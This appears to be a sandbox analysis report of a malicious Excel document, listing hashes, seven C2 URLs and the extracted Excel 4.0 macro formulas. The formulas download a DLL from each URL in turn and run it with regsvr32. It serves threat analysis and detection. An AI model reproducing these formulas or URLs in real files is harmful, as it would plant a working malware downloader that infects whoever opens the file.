General

  • Target

    55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083

  • Size

    19KB

  • MD5

    70732a74d9470c867060a893c11de67a

  • SHA1

    de2b0d91ad78ffd3fbc7c84ee6624461e02c2dd4

  • SHA256

    55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083

  • SHA512

    32672f56accdc88062c0df9f75f3f49bc5a36a3e3aa074815a0219a709e620b165da9f6dfcbfcde35cd8c4d6f0401c0d2008753cd0182fae93bb7c47f5c307ec

  • SSDEEP

    384:cCv7zVthi3zIKeVBZqt7cP7unjasIX7xT2Xxu:cCvNziD/ecmPAj1IJ9

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

Files

  • 55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083
    .xlsx office2007